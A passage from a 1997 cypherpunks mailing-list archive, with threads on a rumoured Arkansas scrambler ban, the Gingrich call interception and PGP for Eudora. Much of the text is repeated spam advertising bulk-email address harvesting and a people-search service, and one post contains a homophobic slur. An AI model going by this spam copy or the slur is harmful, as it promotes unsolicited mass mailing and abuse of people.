from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 16 Jan 1997 15:54:51 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: How to crack
In-Reply-To: <199701161802.KAA08524@peregrine.eng.sun.com>
Message-ID: <Pine.BSF.3.91.970116174241.11513A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



My guess is that somebody wandered off to the coke machine in the 
computer lab and left themselves logged in ...


On Thu, 16 Jan 1997, Ed Falk wrote:

> > 
> > Hi, my name is Tod, and I really want to be a cool hacker, ...
> 
> This has *got* to be a troll.  Nobody could be this clueless.
> 
> 
> Well, actually, they could.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 16 Jan 1997 14:47:08 -0800 (PST)
To: thad@hammerhead.com (Thaddeus J. Beier)
Subject: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <199701162123.NAA07816@hammerhead.com>
Message-ID: <v03007802af045fc5cbdd@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Time to debunk this rumor.

I just spoke with the Arkansas state police, who told me:

"It wasn't put out by the state police. [If anything] it must be a city
ordinance from some city. That state police definitely didn't do it."

-Declan


>jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
>> IMMEDIATE ATTENTION
>> The Arkansas Police have declared that is is illegal to own, use, or
>> possess RSU product #11265113, a fully assembled
>> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
>> legal department is researching this and the product has been removed
>> from RSU distribution.  DO NOT take order or sell this product until
>> this situation can be resolved.
>
>I called the Arkansas State Police, 501-221-8200, to try to verify this,
>and they're "going to have somebody call me back."  I'm not holding my
>breath...
>
>If anybody has a definative source on this, I'd love to see it; it's
>mindboggling.
>
>thad
>-- Thaddeus Beier                     thad@hammerhead.com
>   Visual Effects Supervisor                408) 287-6770
>   Hammerhead Productions  http://www.got.net/people/thad



-------------------------
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chuck Fender <chuck@earth.wazoo.com>
Date: Thu, 16 Jan 1997 16:48:35 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: How to crack
In-Reply-To: <199701161802.KAA08524@peregrine.eng.sun.com>
Message-ID: <Pine.LNX.3.95.970116174743.20795B-100000@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


He's got to be about 13...


On Thu, 16 Jan 1997, Ed Falk wrote:

> > 
> > Hi, my name is Tod, and I really want to be a cool hacker, ...
> 
> This has *got* to be a troll.  Nobody could be this clueless.
> 
> 
> Well, actually, they could.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 16 Jan 1997 16:28:07 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <v03007802af045fc5cbdd@[168.161.105.191]>
Message-ID: <Pine.BSF.3.91.970116180925.11513C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




I thought it a bit strange that "the state police" declared something to 
be illegal; I didn't think they made laws, even in Arkansas.

OTOH, somebody may be trying to boost sales (quick! get one before it's 
banned!) ...

-r.w.

On Thu, 16 Jan 1997, Declan McCullagh wrote:

> Time to debunk this rumor.
> 
> I just spoke with the Arkansas state police, who told me:
> 
> "It wasn't put out by the state police. [If anything] it must be a city
> ordinance from some city. That state police definitely didn't do it."
> 
> -Declan
> 
> 
> >jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
> >> IMMEDIATE ATTENTION
> >> The Arkansas Police have declared that is is illegal to own, use, or
> >> possess RSU product #11265113, a fully assembled
> >> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
> >> legal department is researching this and the product has been removed
> >> from RSU distribution.  DO NOT take order or sell this product until
> >> this situation can be resolved.
> >
> >I called the Arkansas State Police, 501-221-8200, to try to verify this,
> >and they're "going to have somebody call me back."  I'm not holding my
> >breath...
> >
> >If anybody has a definative source on this, I'd love to see it; it's
> >mindboggling.
> >
> >thad
> >-- Thaddeus Beier                     thad@hammerhead.com
> >   Visual Effects Supervisor                408) 287-6770
> >   Hammerhead Productions  http://www.got.net/people/thad
> 
> 
> 
> -------------------------
> The Netly News Network
> http://netlynews.com/
> 
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MAILER-DAEMON@brute.hway.net (Mail Delivery Subsystem)
Date: Thu, 16 Jan 1997 15:30:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Returned mail: User unknown
Message-ID: <199701162330.SAA29235@brute.hway.net>
MIME-Version: 1.0
Content-Type: text/plain


The original message was received at Thu, 16 Jan 1997 18:30:21 -0500
from root@localhost

   ----- The following addresses had delivery problems -----
professional@pipeline.com  (unrecoverable error)

   ----- Transcript of session follows -----
... while talking to sieve0.mindspring.com:
>>> RCPT To:<professional@pipeline.com>
<<< 550 <professional@pipeline.com>... User unknown
550 professional@pipeline.com... User unknown

   ----- Original message follows -----
Received: by brute.hway.net (950413.SGI.8.6.12/951211.SGI)
	for professional@pipeline.com id SAA29231; Thu, 16 Jan 1997 18:30:21 -0500
Return-Path: <cypherpunks@toad.com>
Received: from Alpha.remcan.ca by brute.hway.net via ESMTP (950413.SGI.8.6.12/951211.SGI)
	for <iiucom@iiu.com> id SAA28775; Thu, 16 Jan 1997 18:29:29 -0500
Received: from shawn by Alpha.remcan.ca via SMTP (940816.SGI.8.6.9/940406.SGI.AUTO)
	for <iiucom@iiu.com> id RAA03902; Thu, 16 Jan 1997 17:23:40 -0500
X-Loop: iiu.com
Message-Id: <3.0.32.19970116172930.009091b0@toad.com>
X-Sender: cypherpunks@toad.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 16 Jan 1997 17:29:34 -0600
To: iiucom@iiu.com
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Information is POWER- Get it!
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER


At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
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>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
>OK? Want to see one more? Here's how we have saved landlords
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>
>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
>OK? Want to see one more? Here's how we have saved landlords
>money for years.
>
>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
>OK? Want to see one more? Here's how we have saved landlords
>money for years.
>
>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
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>$20.00. Our search fees, the amount it costs us to get your 
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>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
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>
>Please read the next few paragraphs to see if our services can help you.
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>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
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>OK? Want to see one more? Here's how we have saved landlords
>money for years.
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>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 16:24:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions
In-Reply-To: <v03007808af042a232676@[139.167.130.248]>
Message-ID: <T8DN1D15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:
> At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> >Similarly, people who've been plonked are often quoted in somebody
> >else's message, so I see it anyway.
>
> So it seems...
>
> :-).
>
> So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.

When the likes of J.D.Falk and Hettiga claim to have *plonked* one of their
many "enemies", it really means that they are obsessed with that person and
thoroughly read everything the "*plonked*" poster writes. Zero credibility.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 16:21:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt may be more receptive to encryption now
In-Reply-To: <970116095948_1444710331@emout10.mail.aol.com>
Message-ID: <82eN1D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Scottauge@aol.com writes:
>
> Perhaps EFF could even draft some laws for our protection

EFF and John Gilmore have no credibility, but the homo "cypher punk's"
reliance on more laws and bigger gubmint to solve all his problems
is telling.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Jan 1997 19:21:23 -0800 (PST)
To: "John C. Randolph" <jcr@idiom.com>
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <3.0.1.32.19970116185324.0062e970@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> The Arkansas Police have declared that is is illegal to own, use, or
> possess RSU product #11265113, a fully assembled
> descrambler/scrambler, in the State of Arkansas.  

Yee-hah!  I'm guessing that it's probably illegal because the
police use them for "secret" conversations, or some such silliness,
and don't want Bad Guys to be able to eavesdrop on what's probably
a trivially analog-scrambled phone-garbler.  
Perhaps them good ol' boys have some more devious reason,
or even have a law backing them up, but probably not.

How soon do you think it'll be before they start busting people
for Radio Shack Equipment Smuggling?  Why, next thing you know
there'll be people sneakin' across the border from Texarkana with
pickmeup-truck loads full o' contraband encryption gear
as well as the usual Lone Star Beer cans in the back.

If I were Radio Shack, and the state did this to me after the
police bought a bunch of them for police use, I'd be real upset.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CVHD <cvhd@indyweb.net>
Date: Thu, 16 Jan 1997 16:27:59 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Finally a good Eudora/PGP integration under Win32
In-Reply-To: <3.0.32.19970116114943.006ae32c@192.100.81.126>
Message-ID: <3.0.1.32.19970116192747.006c9bac@indyweb.net>
MIME-Version: 1.0
Content-Type: text/enriched

At 11:50 AM 1/16/97 -0800, you wrote:

>It is a bug in the manual :-) The plugins are already installed by the main
>installer. If you can't find the buttons in Eudora, it is because they are
>in a different location than you think they are.

>Look next to the "Queue" button. PGP should make this clearer in their docs.

Actually the PGP "buttons" don't appear in Eudora unless you are reading a message, replying or creating a new message; which makes sense.  Simply retrieving mail won't make the "buttons" appear.  With Netscape you must also have the "mailer" maximized or the Netscape Logo will overlap some of the PGP "buttons".  

The only thing I would like to see added to it (and perhaps PGP 3.0 will address this) is the ability to En-DeCrypt WIN95 Files folders and files "on the fly" without the necessity of clicking OK for each file like F-Protects' "Secure Desktop" program.

It is plain in "appearance" but a terrific interface, nonetheless, for $29.95 (for 2.6.2 users).  Can't wait to see how PGP 3.0 will enhance it's performance.



Regards from the,
Computer Virus Help Desk
http://www.indyweb.net/~cvhd


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 16 Jan 1997 16:58:15 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <01BC03E7.BCF283B0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Toto <toto@sk.sympatico.ca> wrote in article <5bk506$ruj@life.ai.mit.edu>...
> Brian Lane wrote:

>   The fact is that the transmission 'was' encrypted. While this fact
> isn't
> being 'reported', it is causing no small amount of consternation in 
> certain circles in Washington.

Knowing the circles that would be concerned I know that they
are discussing no such thing.

	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 16 Jan 1997 16:56:34 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <01BC03E7.BE213FB0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM> wrote in article <5bjhda$f44@life.ai.mit.edu>...
> Alan Bostick writes:
> 
> >It is also possible that somewhere in the chain of information between
> >mom&pop, the media, and us, the distinction between "cordless phone"
> >and cellular phone.  I gather it was a conference call that was 
> >intercepted.  All it takes is one participant using a cordless phone in 
> >range of one scanner, and the whole conversation is compromised.
> 
> Yes, a conference call (and we do know there were multiple participants)
> over a cordless makes sense.

It was a conference call but over a cellular phone. Martin had hacked his
Radio Shack Scanner using a well known technique. He had a radio ham
license.

I still don't expect a conviction. Lets see a guy gets a tape he believes shows
that the Speaker of the house lied to the ethics committee. He hands it to
a senior member of the ethics committee of the house despite knowing that
in doing so he put himself at risk of prosecution.

Does anyone in their right mind expect any jury to convict in such a case?
Basically a trial would be open season for the defense to take pot shots
at Newt.

Q. "Why did you not hand the tape over to the chair of 
	the committee?
A. I thought they might try to suppers it.

Q. Why did you give the tape to MacDermott?
A. I thought it showed that the Speaker had acted illegally.

Q. Illegal? How?
A [at very great length to be repeated verbatim on CNN twice
	an hour]

As a first time offender the most the Martins could expect to suffer
would be a $5000 fine. They could easily recoup that on the chat
show circuit.

This is the country where Ollie North launched his political career
by subverting the constitution and lying to congress and where JO
Simpson murdered his wife and got away with it. Don't expect the
Martins to be occupying a jail cell any time soon. Newt on the other
hand...

		Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 16 Jan 1997 17:35:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970116203557.0166ae18@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:50 AM 1/17/97 +1000, Greg Taylor wrote:
>Most of the world has been using GSM digital technology for some years
>now, with automatic international roaming, unless you travel to the USA.
>No one in their right mind uses an analogue mobile phone any more if they 
>are concerned about eavesdropping.  The Newt incident simply could not 
>happen with GSM.

Of course GSM encryption was weakened by the orders of various governments so that the national police forces could still listen in.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMt7XY4VO4r4sgSPhAQGJVAQArpSn4h0aNzV4yWkFbpCdjGnvpt058Uyi
+Xm7dEsmPSSxQhnBMFk2lpnW8bmtA1hakXqluj1wfoKvVlaXifswPqc2lRPlCc2w
qg/bu4tHXCm34Yzy346TgUJ6fBf5mJPNz1fZFgydy1HJbGXgSrcoX/Dl2IjjqpPW
VB4ncdkmtbY=
=AO5Z
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nomad@Koolcom.com
Date: Thu, 16 Jan 1997 18:05:14 -0800 (PST)
Subject: "Forrist Gump Can Do It"      THIS MAILING IS BEING SENT TO YOU COMPLEMENTS            OF A COMMERCIAL E-MAILER SERVER.              PLEASE SEND ALL COMPLAINTS AND               ( REMOVE FROM LIST REQUESTS)                 TO: Nomad@Capella.net                Thank You, The Management      ----------------------------------------------      ----------------------------------------------      ----------------------------------------------
Message-ID: <199701170143.UAA11457@www.theguru.com>
MIME-Version: 1.0
Content-Type: text/plain




A HOME BASED BUSINESS EVEN FORRIST GUMP CAN DO ! ! !

A FANTASTIC OPPORTUNITY WITH TRADENET MARKETING
GROUND FLOOR OPPORTUNITY--ONLY 25,000 DISTRIBUTORS
ONE TIME PURCHASE-LESS THAN $150.00
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WEEKLY CHECKS
INTERNATIONAL OPPORTUNITIES SOON

FOR ADDITIONAL INFORMATION PLEASE CALL JACK AT (800) 530-9495






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 16 Jan 1997 21:14:22 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701170514.VAA03211@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain



>On Thu, 16 Jan 1997, Declan McCullagh wrote:
>
>> Time to debunk this rumor.
>> I just spoke with the Arkansas state police, who told me:
>> "It wasn't put out by the state police. [If anything] it must be a city
>> ordinance from some city. That state police definitely didn't do it."
>> -Declan

>> >jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
>> >> IMMEDIATE ATTENTION
>> >> The Arkansas Police have declared that is is illegal to own, use, or
>> >> possess RSU product #11265113, a fully assembled
>> >> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
>> >> legal department is researching this and the product has been removed
>> >> from RSU distribution.  DO NOT take order or sell this product until
>> >> this situation can be resolved.
>> >
>> >I called the Arkansas State Police, 501-221-8200, to try to verify this,
>> >and they're "going to have somebody call me back."  I'm not holding my
>> >breath...
>> >
>> >If anybody has a definative source on this, I'd love to see it; it's
>> >mindboggling.
>> >
>> >thad


The strangest part of this story is that I haven't even heard of the product 
they've described above.  The number given sounds like a serial number, NOT 
a product number.  Somehow, I think that it would have been covered around 
here by now if it were real.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 16 Jan 1997 18:13:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: NY Tax Sale
Message-ID: <3.0.1.32.19970116211310.006bc58c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those who may doubt my oft repeated prediction that coercive institutions will slowly dissolve into market institutions please note that next week New York State is having a Sales Tax "sale."  All clothing purchases under $500 will be free of sales tax next week.  That's 8.25% in New York City.  Since CT and NJ don't tax most clothing sales this is clearly an attempt to meet the competition.

Also for those who might like to become international fugitive financiers some day (like Marc Rich) see the business section of today's New York Times:

January 16, 1997
Fugitive Financiers Find Fewer Places to Hide
By PETER TRUELL

Currently at:

http://www.nytimes.com/yr/mo/day/news/financial/fugitive-financiers.html

